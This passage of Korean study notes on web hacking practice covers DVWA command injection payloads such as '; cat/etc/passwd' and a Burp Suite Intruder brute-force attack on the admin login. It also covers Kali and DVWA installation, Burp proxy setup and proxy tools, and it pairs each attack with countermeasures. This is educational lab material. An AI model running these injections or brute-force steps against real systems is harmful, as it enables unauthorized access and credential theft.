공격자가 ls 명령어로 웹 루트 디렉토리에 config 파일, 백도어 파일, 데이터 파일이 있는지 확인 가능

; cat/etc/passwd

cat(Concatenate) = 파일 내용 보기, /etc/passwd는 계정 정보 파일

공격자가 이 명령어를 통해

• 시스템에 어떤 계정들이 존재하는지 파악
• 루트 계정의 존재 확인, 잠재적 공격 대상 결정
• 공격 후 권한 상승 시도(Privilege Escalation)를 위한 정보 수집

pwd

print working directory

현재 쉘 또는 명령어가 실행되고 있는 디렉토리 경로를 출력

공격자가 왜 이걸 쓸까?

• 내가 지금 어느 경로에서 명령을 실행하고 있는지 확인
• /var/www/html 같은 웹 루트 경로인지 확인 가능
• 웹쉘 업로드나 파일 조작의 경로 설정에 매우 유용

✅ Command Injection 대응방안

• 입력값 검증: 화이트리스트 기반으로 유효한 입력만 허용
• 명령어 결합 차단: 쉘 메타문자(;, |, && 등) 필터링 및 제거
• 최소 권한 원칙 적용: 시스템 명령어 실행 환경은 루트가 아닌 제한된 사용자 권한으로 구성
• 법적 준수: 전자금융거래법, 정보통신망법 등에서도 최소 권한 원칙을 명시하고 있다

Brute Force 공격

💡 개념

Brute Force 공격은 흔히 무차별 대입 공격이라고도 하며, 주로 로그인 시스템을 대상으로 한다.
공격자는 가능한 모든 비밀번호 조합을 순차적으로 대입하여 인증을 우회하거나 비밀번호를 알아내는 방식으로 공격을 수행한다.

🧪 실습 (Low Level)

1. Brute Force 창으로 들어가서 아이디는 admin인걸 안다는 가정하에 비번을 아무렇게 넣어주고 로그인 버튼을 눌러준다.

   

   
   
   
2. Burp Suite의 proxt의 Intercept를 통해 로그인 요청을 가로챈다(forward를 눌러줘야 해당 요청이 웹 브라우저에서 정상적으로 진행이된다.)

   

    
3. 이후 request에서 send to intruder를  클릭 후 , intruder탭으로 이동한다.

   

   
   
   
   
4. 요청을 Intruder로 이동 후 → password 파라미터를 $로 마킹 처리를 해줘 공격 포인트로 설정

   

    
5. payloads탭에서 load를 눌러 칼리리눅스에서 제공하는 password 리스트를 선택한다

   

   
   
   
6. /usr/share/john/password.lst와 같은 사전 파일을 Payload로 설정하고 다시 payload 상단에 주황색 start attack 클릭해준다.

   

7. 결과에서 password 값을 가진 요청의 Length가 다르게 나타나고, Response에는 "Welcome to the password protected area"라는 메시지가 포함되어 있는 것을 통해→ admin / password가 유효한 계정 정보임을 확인할 수 있다.

   

   

   
   
   
8. 실제로 접속하려는 계정 정보가 맞으면 아래 화면같이 접속이 된 걸 볼 수 있다.

   

✅ Brute Force 대응방안

• 복잡한 비밀번호 요구: 대소문자, 특수문자, 숫자 조합
• 로그인 시도 횟수 제한: 일정 횟수 초과 시 계정 잠금
• CAPTCHA 적용: 자동화 도구를 통한 공격 차단
• 다중 인증(MFA): 비밀번호 외의 추가 인증 요구

참고

https://itstudycube.tistory.com/37

Kali Linux란 무엇인가?

Kali Linux는 침투 테스트(Penetration Testing)와 디지털 포렌식에 최적화된 리눅스 배포판이다. 보안 전문가, 해커, 윤리적 해커(ethical hacker)들이 주로 사용하는 운영체제이다.
Debian 기반으로 제작되었으며, 수백 가지의 해킹 및 보안 도구들이 기본 내장되어 있어 설치만 하면 바로 실습이 가능한 환경을 제공한다.

Kali Linux의 주요 특징

• 해킹 및 보안 도구가 기본 포함되어 있다.
  대표적으로 Nmap, Metasploit, Burp Suite, Aircrack-ng 등이 있다.
• 라이브 부팅이 가능하다.
  USB나 가상 머신으로 실행할 수 있어 설치 없이도 사용이 가능하다.
• 지속적인 업데이트가 이루어진다.
  Offensive Security가 꾸준히 관리하고 있어 최신 취약점에 대응하기 좋다.

칼리 리눅스는 https://www.kali.org 공식 홈페이지에서 VMware 버전 파일을 다운로드할 수 있다.

다운로드한 압축 파일을 해제한 후, VMware에서 .vmx 파일을 열면 바로 실행할 수 있다.

칼리 리눅스를 처음 실행하면 로그인 화면이 나타나며,

기본 계정은

ID: kali

PW: kali

DVWA란 무엇인가?

DVWA(Damn Vulnerable Web Application)는 웹 취약점 실습용 웹 애플리케이션이다. 이름 그대로 ‘끔찍하게 취약한 웹사이트’로, 웹 해킹을 학습하고 실습하기 위한 목적으로 만들어졌다.

DVWA의 주요 목적

• 웹 해킹 기법을 실습할 수 있도록 다양한 취약점 시나리오를 제공한다.
• SQL Injection, XSS, CSRF, File Inclusion 등 실제 웹 공격 기법을 직접 실행하고 대응하는 연습이 가능하다.
• 보안 실습 환경에서만 사용해야 하며, 절대로 공개된 서버에 설치해서는 안 된다.

DVWA는 보안 훈련을 위한 훌륭한 도구로, Kali Linux 환경과 함께 사용하면 효과적인 학습이 가능하다.

DVWA의 공식 GitHub 페이지는 다음과 같다:
👉 https://github.com/digininja/DVWA

칼리 리눅스에 DVWA를 설치하기 위해 위 GitHub 페이지를 참고하였다.
설치 과정에서는 아래 블로그와 유튜브 영상을 참고하였다.

• 블로그 출처: IT스터디큐브:티스토리
• 유튜브 영상: https://www.youtube.com/watch?v=WkyDxNJkgQ4

이 자료들을 바탕으로 Kali Linux 환경에서 DVWA 설치를 진행하였다.

 DVWA 설치 과정 (GitHub 클론부터 Apache 웹 서버 실행까지)

DVWA를 실행하기 위해서는 웹 서버(Apache)가 작동해야 한다.
아래는 DVWA 설치의 첫 단계로, GitHub에서 소스 코드를 가져와 Apache를 통해 웹 환경을 구축하는 과정이다.

1. DVWA 파일 다운로드

git clone https://github.com/digininja/DVWA

• DVWA 공식 GitHub 저장소에서 웹 애플리케이션 소스 코드를 복제한다.
• 이 코드는 .php, .html, .css, .js 등의 파일로 구성된 웹 애플리케이션 파일이다.

2. Apache 웹 서버가 인식할 수 있는 위치로 이동

sudo mv DVWA /var/www/html

• Apache 웹 서버는 기본적으로 /var/www/html 디렉토리를 웹 루트 디렉토리로 사용한다.
• 따라서 DVWA 폴더를 이 위치로 이동시키면, Apache가 해당 애플리케이션을 서비스할 수 있게 된다.

3. 디렉토리 이동 및 확인

cd /var/www/html
ls

• DVWA 폴더가 정상적으로 이동되었는지 확인한다.

4. Apache 웹 서버 실행

sudo service apache2 start

• Apache 웹 서버를 실행하는 명령어이다.
• 이 명령어를 통해 Apache가 사용자의 웹 요청을 수신할 준비를 하게 된다.

 DVWA 설정 파일 생성 및 MariaDB 실행

Apache 웹 서버를 성공적으로 실행했다면 http://localhost 주소로 접속이 가능해진다. 하지만 아직 DVWA 웹 애플리케이션에는 기본 설정 파일이 생성되지 않았기 때문에, http://localhost/DVWA 주소로 접근할 경우 오류 페이지가 나타난다.

이 문제를 해결하려면 DVWA 설정 파일을 직접 생성해야 한다.

1. DVWA 디렉토리로 이동

cd DVWA

• DVWA 소스코드가 위치한 디렉토리로 이동한다. 이 디렉토리는 /var/www/html/ 안에 존재한다.

ls

• 디렉토리 안에 어떤 파일들이 있는지 확인한다.

2. 설정 파일 폴더 확인

ls config

• DVWA의 설정 파일이 들어 있는 config 폴더를 확인한다.
• 이 안에는 기본 설정 파일 템플릿인 config.inc.php.dist 파일이 존재한다.

3. 설정 파일 복사 및 이름 변경

cp config/config.inc.php.dist config/config.inc.php

• 위 명령은 기본 설정 파일을 복사하고, DVWA가 인식할 수 있는 이름으로 변경하는 과정이다.
• config.inc.php는 DVWA가 데이터베이스, 보안 설정 등을 불러올 때 참조하는 핵심 설정 파일이다.

🔧 중요한 역할:

• 이 파일이 없으면 DVWA는 내부 설정을 불러오지 못해 에러를 출력하게 된다.
• 이 과정은 DVWA 초기 설정의 필수 단계다.

4. MariaDB(데이터베이스 서버) 실행

sudo service mariadb start

• DVWA는 내부적으로 MariaDB(MySQL 호환)를 사용하여 사용자 정보, 로그인 내역, 실습 데이터 등을 저장한다.
• 이 명령을 통해 데이터베이스 서버를 실행해야 DVWA가 정상적으로 DB 연결을 할 수 있다.

DVWA 데이터베이스 오류 해결 방법(데이터베이 및 사용자 계정 생성)

앞서 설정 파일을 구성하고 웹 서버를 실행해 DVWA 페이지에 접근할 수 있게 되었지만,
http://localhost/DVWA/setup.php 페이지에서 "Create / Reset Database" 버튼을 클릭하면 오류가 발생할 수 있다.

이 문제는 DVWA에서 사용할 데이터베이스와 사용자 계정이 MariaDB에 생성되어 있지 않기 때문이다.
따라서 직접 데이터베이스와 사용자 계정을 생성해줘야 한다.

데이터베이스 수동 생성 절차

1. 루트 계정으로 전환

sudo su -

• 시스템의 root 계정으로 전환한다.
• MariaDB 관리 권한이 필요하기 때문에 root 계정으로 접속하는 것이 일반적이다.

2. MariaDB 접속

mysql

• MariaDB 콘솔에 접속한다.

3. DVWA용 데이터베이스 생성

create database dvwa;

• DVWA가 사용할 데이터베이스를 생성한다.

4. 사용자 계정 생성

create user dvwa@localhost identified by 'p@ssw0rd';

• dvwa라는 이름의 사용자 계정을 생성하고, 비밀번호는 p@ssw0rd로 설정한다.

5. 사용자에게 권한 부여

grant all on dvwa.* to dvwa@localhost;

• dvwa 데이터베이스에 대해 dvwa@localhost 사용자에게 모든 권한을 부여한다.

6. 권한 적용

flush privileges;

• 위에서 부여한 권한이 즉시 적용되도록 한다.

✅ 완료 후 확인할 수 있는 변화

• http://localhost/DVWA/setup.php 페이지에서 다시 "Create / Reset Database" 버튼을 클릭하면 이제 에러 없이 정상적으로 테이블이 생성된다.
• 이후 DVWA의 로그인 페이지로 이동하며, DVWA가 완전히 실행 가능한 상태가 된다.

🔐 참고

이 과정을 통해 설정된 정보는 config/config.inc.php 파일 안에 다음과 같이 반영되어 있어야 한다:

$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'p@ssw0rd';
$_DVWA[ 'db_database' ] = 'dvwa';

DVWA 설정 마무리 및 로그인

앞서 수동으로 데이터베이스를 생성하고 권한 설정을 완료했다면, 이제 DVWA 설정 탭에서 데이터베이스를 초기화할 수 있다.

📌 DVWA 설정 완료

1. 브라우저에서 다음 주소로 접속한다:
   👉 http://localhost/DVWA/setup.php
2. "Create / Reset Database" 버튼을 클릭한다.
   • 이 작업을 통해 DVWA가 데이터베이스에 필요한 테이블과 초기 데이터를 자동으로 생성한다.
   • 성공 메시지가 나타나면 기본적인 설정은 모두 완료된 것이다.

🔐 로그인 정보

DVWA의 기본 로그인 정보는 다음과 같다:

• ID : admin
• PW : password

[사용자 브라우저]
       ↓ HTTP 요청
http://localhost/DVWA/login.php
       ↓
[Apache 웹 서버]
       ↓
[PHP 엔진: login.php 실행]
       ↓
[MariaDB: 사용자 정보 조회]
       ↓
[Apache가 결과 HTML 응답]
       ↓
[브라우저에 출력]

추가설정

이제부터는 해당 셋업 창에서 Disabled로 표시된 항목들을 하나씩 해제하는 작업을 진행할 것이다.

(현재 상태에서도 DVWA를 사용할 수는 있지만, 몇몇 기능이 비활성화(Disabled) 상태로 인해 정상적으로 작동하지 않는 경우가 있다.)

이는 추후 취약점 분석을 원활하게 진행하기 위해 미리 설정을 완료해두는 단계이다.

🔧 PHP 설정 변경을 통한 기능 활성화 (allow_url_include, display_errors 등)

✅ 대상 기능

• allow_url_include
• display_errors
• display_startup_errors

위 항목들을 활성화하여 실습 시 오류 메시지를 확인할 수 있도록 한다.

🛠 설정 방법

루트 권한 획득 및 설정 파일 위치로 이동

sudo su -                 # 루트 계정 권한 얻기
cd /etc/php               # PHP 설정 디렉토리로 이동
ls                        # PHP 버전 확인
cd 8.4                    # (버전에 따라 숫자는 다를 수 있음)
ls
cd apache2                # Apache용 설정 디렉토리
vim php.ini               # php.ini 파일 편집

위 과정은 /etc/php/8.2/apache2/php.ini 파일을 편집하기 위한 단계이다.
vim 외에도 nano, gedit 등 다른 에디터를 사용해도 무방하다.

 php.ini 파일 수정

아래 항목들을 찾아 모두 On으로 변경한다:

allow_url_include = On
display_errors = On
display_startup_errors = On

변경 후(i를 눌러야 수정 가능) 저장하고 종료한다 (vim에서는 Esc → :wq).

Apache 재시작

변경 사항을 적용하기 위해 Apache를 재시작한다:

apachectl restart

📁 DVWA 업로드 디렉토리 권한 설정하기

DVWA에는 파일 업로드 취약점을 실습할 수 있는 File Upload 탭이 존재한다.
하지만 이 기능을 사용하려면 업로드되는 파일을 저장하는 디렉토리에 웹 서버(Apache)가 쓰기 권한을 가져야 한다.

따라서 아래와 같이 디렉토리의 소유자 및 권한을 설정해야 한다.

🛠 터미널 입력 명령어 및 설명

sudo su -

• 루트 계정으로 전환하여 시스템 파일 및 권한 설정을 할 수 있게 한다.

ls -al /var/www/html/DVWA/hackable/uploads/

• 업로드 디렉토리의 현재 소유자 및 권한 상태를 확인한다.

chown www-data /var/www/html/DVWA/hackable/uploads/

• 웹 서버(Apache)의 사용자 계정인 www-data에게 해당 디렉토리의 소유권을 넘긴다.

ls -al /var/www/html/DVWA/hackable/uploads/

• 변경된 소유권이 반영되었는지 확인한다.

🔐 DVWA CAPTCHA 설정하기 (reCAPTCHA 활성화)

DVWA에는 취약한 CAPTCHA 실습 탭이 존재하며, 이를 제대로 활용하기 위해서는
php-gd 모듈 설치와 Google reCAPTCHA 키 등록이 필요하다.

아래 단계에 따라 설정을 완료하면 CAPTCHA 관련 기능이 정상적으로 작동하게 된다.

1.php-gd 모듈 설치

php-gd는 이미지 처리 기능을 제공하는 PHP 모듈로, CAPTCHA 이미지를 생성하는 데 필수적이다.

sudo apt update            # 패키지 목록 업데이트
sudo apt install php-gd    # php-gd 모듈 설치
sudo apachectl restart     # Apache 재시작

이 과정을 완료하면 DVWA 설정창에서 PHP module gd: Missing 오류 메시지가 사라지게 된다.

2.Google reCAPTCHA 키 발급

1. 브라우저에서 다음 주소로 접속한다:
   👉 https://www.google.com/recaptcha/about/
2. v2 reCAPTCHA → "I'm not a robot" 유형을 선택한다.
3. Label에는 자유롭게 DVWA 실습용임을 표시하고,
   Domains 항목에는 반드시 localhost를 추가한다.
   → 로컬 환경에서 실습하기 위함
4. **사이트 키(Site Key)**와 **비밀 키(Secret Key)**를 발급받는다.

3. DVWA 설정 파일에 키 등록

터미널에서 설정 파일을 열고, 발급받은 키를 등록한다.

sudo su -
cd /var/www/html/DVWA/config
vim config.inc.php

설정 방법

• vim 에디터에서 recaptcha_public_key와 recaptcha_private_key 항목을 찾아 아래와 같이 수정한다:

$_DVWA[ 'recaptcha_public_key' ]  = '발급받은_사이트_키';
$_DVWA[ 'recaptcha_private_key' ] = '발급받은_비밀_키';

찾기 기능 사용 팁:
vim에서 /recaptcha 입력 후 Enter를 누르면 해당 항목으로 빠르게 이동 가능

수정이 완료되면 Esc → :wq 로 저장하고 종료한다.

작동 확인

• 브라우저에서 DVWA 설정 페이지를 새로고침하면,Missing 오류가 사라지고 CAPTCHA 기능이 정상적으로 작동하는 것을 확인할 수 있다.

추가 설정 완료된 화면

🔐 Burp Suite 실습 정리: 실행부터 Intercept 원리까지

웹 모의해킹 실습을 위해 DVWA와 함께 사용하는 대표 도구는 Burp Suite이다.
Kali Linux에는 Burp Suite가 기본적으로 설치되어 있기 때문에 별도의 설치 과정은 필요 없다.
이번 포스트에서는 Burp의 실행, Intercept 기능의 개념, Burp 내장 브라우저와 Firefox의 차이점, 프록시 설정 방법, 그리고 실습 중 마주칠 수 있는 상황들을 정리하였다.

1. Burp Suite 실행 방법

터미널에서 burpsuite 명령어를 입력하면 실행된다.
첫 실행 시 라이선스 동의 화면이 나타나며, I accept를 클릭하여 진행해야 한다.
이후 Temporary project → Use Burp defaults → Start Burp를 선택하면 Burp가 실행된다.

2. Proxy 탭에서 Intercept 기능 개념

Proxy > Intercept 탭은 Burp의 핵심 기능 중 하나이다.
이 기능은 웹 브라우저가 서버로 요청을 보내기 전에 Burp가 요청을 가로채도록 한다.
Intercept가 ON 상태이면 요청이 Burp에서 멈추고 브라우저는 응답을 기다리며 로딩 상태가 된다.
Intercept가 OFF 상태이면 요청이 서버로 바로 전달되어 페이지가 정상 출력된다.

3. Burp 내장 브라우저 vs Firefox

Burp에는 Chromium 기반의 내장 브라우저가 포함되어 있다.
Burp 내장 브라우저는 자동으로 Burp 프록시에 연동되어 있어 별도의 프록시 설정이 필요 없다.
하지만 Intercept가 ON일 경우 localhost와 같은 로컬 주소로의 요청도 Burp에서 가로채므로, 브라우저는 응답을 받지 못해 무한 로딩에 빠진다.
따라서 실습을 원활하게 진행하려면 Firefox 브라우저를 사용하는 것이 좋다.

localhost가 Burp에 안 잡히는 이유

Firefox는 보안 정책상 localhost나 127.0.0.1에 대한 요청은 프록시 설정을 무시하고 직접 서버로 요청을 보낸다.
이로 인해 Burp 프록시를 통해 요청이 전달되지 않으며, Burp의 Intercept에도 잡히지 않는다.

결과: 실습 중 발생할 수 있는 상황 정리

4. Firefox에서 프록시 설정 방법

Firefox 주소창에 about:preferences를 입력한다.
페이지 하단의 [네트워크 설정] 섹션에서 설정(Configure Proxy) 버튼을 클릭한다.
수동 프록시 구성(Manual Proxy Configuration)을 선택하고 다음과 같이 설정한다:

• HTTP 프록시: 127.0.0.1
• 포트: 8080
• ✅ "모든 프로토콜에 이 프록시 사용" 체크
• ✅ "HTTPS에도 이 프록시 사용" 체크

🔍 침해사고 대응을 위한 프록시(Proxy)와 주요 프록시 툴 정리

침해사고 대응(IR, Incident Response) 업무를 수행할 때, 다양한 네트워크 트래픽을 실시간으로 확인하고 분석 또는 조작할 수 있어야 한다.
이때 핵심 역할을 하는 도구가 바로 프록시(Proxy)이다.

1️⃣ 프록시란 무엇인가?

프록시(Proxy)는 ‘대리인’을 의미하며, 클라이언트와 서버 사이에서 요청과 응답을 대신 처리하는 중간자 역할을 한다.

사용자는 직접 서버에 요청을 보내는 것이 아니라 프록시를 통해 요청하고, 프록시는 이를 서버에 전달한 뒤 받은 응답을 사용자에게 다시 전달한다.
이 과정을 통해 요청/응답 내용을 가로채거나 조작, 분석할 수 있는 환경이 형성된다.

2️⃣ 프록시의 종류: Forward Proxy vs Reverse Proxy

🟦 Forward Proxy (정방향 프록시)

• 사용자 앞에 위치하여 사용자의 요청을 외부 서버로 전달하는 방식이다.
• 주로 사용자 감시, 필터링, 트래픽 분석 등에 활용된다.
• Burp Suite, Paros, Fiddler는 Forward Proxy 구조를 따른다.

🟥 Reverse Proxy (역방향 프록시)

• 서버 앞에 위치하여 외부 요청을 내부 서버 중 하나에 전달하는 방식이다.
• 주로 로드 밸런싱, 캐싱, 보안 보호(WAF) 목적에 사용된다.
• NGINX, Apache HTTP Server 등이 대표적인 예이다.

3️⃣ 프록시 툴은 왜 사용하는가?

침해사고 대응 업무에서 프록시 툴은 다음과 같은 이유로 유용하다:

• ✅ HTTP/HTTPS 트래픽 분석: 사용자가 어떤 요청을 보냈는지 실시간으로 확인할 수 있다.
• ✅ 악성 행위 시뮬레이션: XSS, SQLi 등 공격을 모의실험할 수 있다.
• ✅ 의심스러운 패킷 수집 및 조작: 트래픽을 수동으로 수정하거나 재전송할 수 있다.
• ✅ 취약점 분석: 웹 애플리케이션이 보유한 취약점을 파악할 수 있다.
• ✅ 로깅 및 기록: 트래픽 기록을 통해 사후 분석이 가능하다.

4️⃣ 대표적인 프록시 툴 설명

🔸 Paros Proxy

• 자바 기반 오픈 소스 프록시 툴로, 보안 분석에서 널리 사용되어왔다.
• 기능: HTTP/HTTPS 캡처, 패킷 조작, 간단한 취약점 스캔을 지원한다.
• 특징:
  • 무료이며 간단한 UI를 제공한다.
  • 다만, 개발이 중단되어 최신 웹 환경에는 적합하지 않다.
• 용도: 보안 입문자나 교육용에 적합하다.

🔸 Burp Suite

• 가장 널리 사용되는 웹 보안 분석 프레임워크이다.
• 기능: 인터셉터, 리피터, 스캐너, 인트루더, 플러그인 등을 포함한다.
• 특징:
  • 무료(Community)와 유료(Pro) 버전이 존재한다.
  • 자동화된 취약점 스캐너가 Pro 버전에 포함된다.
  • 확장 기능을 통해 다양한 기능을 추가할 수 있다.
• 용도: 기업 보안팀, 모의해킹, 웹 취약점 진단 전문가에게 적합하다.

🔸 Fiddler

• 웹/모바일 애플리케이션 트래픽 디버깅에 특화된 프록시 툴이다.
• 기능: HTTP/HTTPS 트래픽 캡처, 세션 분석, 응답 조작, 성능 측정이 가능하다.
• 특징:
  • 직관적인 GUI를 제공한다.
  • 디버깅과 개발 목적에 적합하지만 보안 분석 기능은 제한적이다.
• 용도: 웹 개발자, QA, API 디버깅에 적합하다.

✅ 요약 비교표

✍ 마무리

프록시는 단순한 트래픽 중계 도구가 아니라, 보안 위협을 분석하고 대응할 수 있는 관찰 창구이다.
특히 Burp Suite와 같은 고급 프록시 툴은 침해사고의 실체를 파악하고, 취약점을 실험할 수 있어 침해사고 대응 능력을 크게 향상시킨다.

프록시의 개념과 각 툴의 특성을 명확히 이해하고 실무에 적용할 수 있다면, 보안 대응뿐 아니라 사전 예방 단계에서도 큰 도움이 될 것이다.

참고자료

https://wikidocs.net/blog/@rybbit/1079/

https://maker5587.tistory.com/47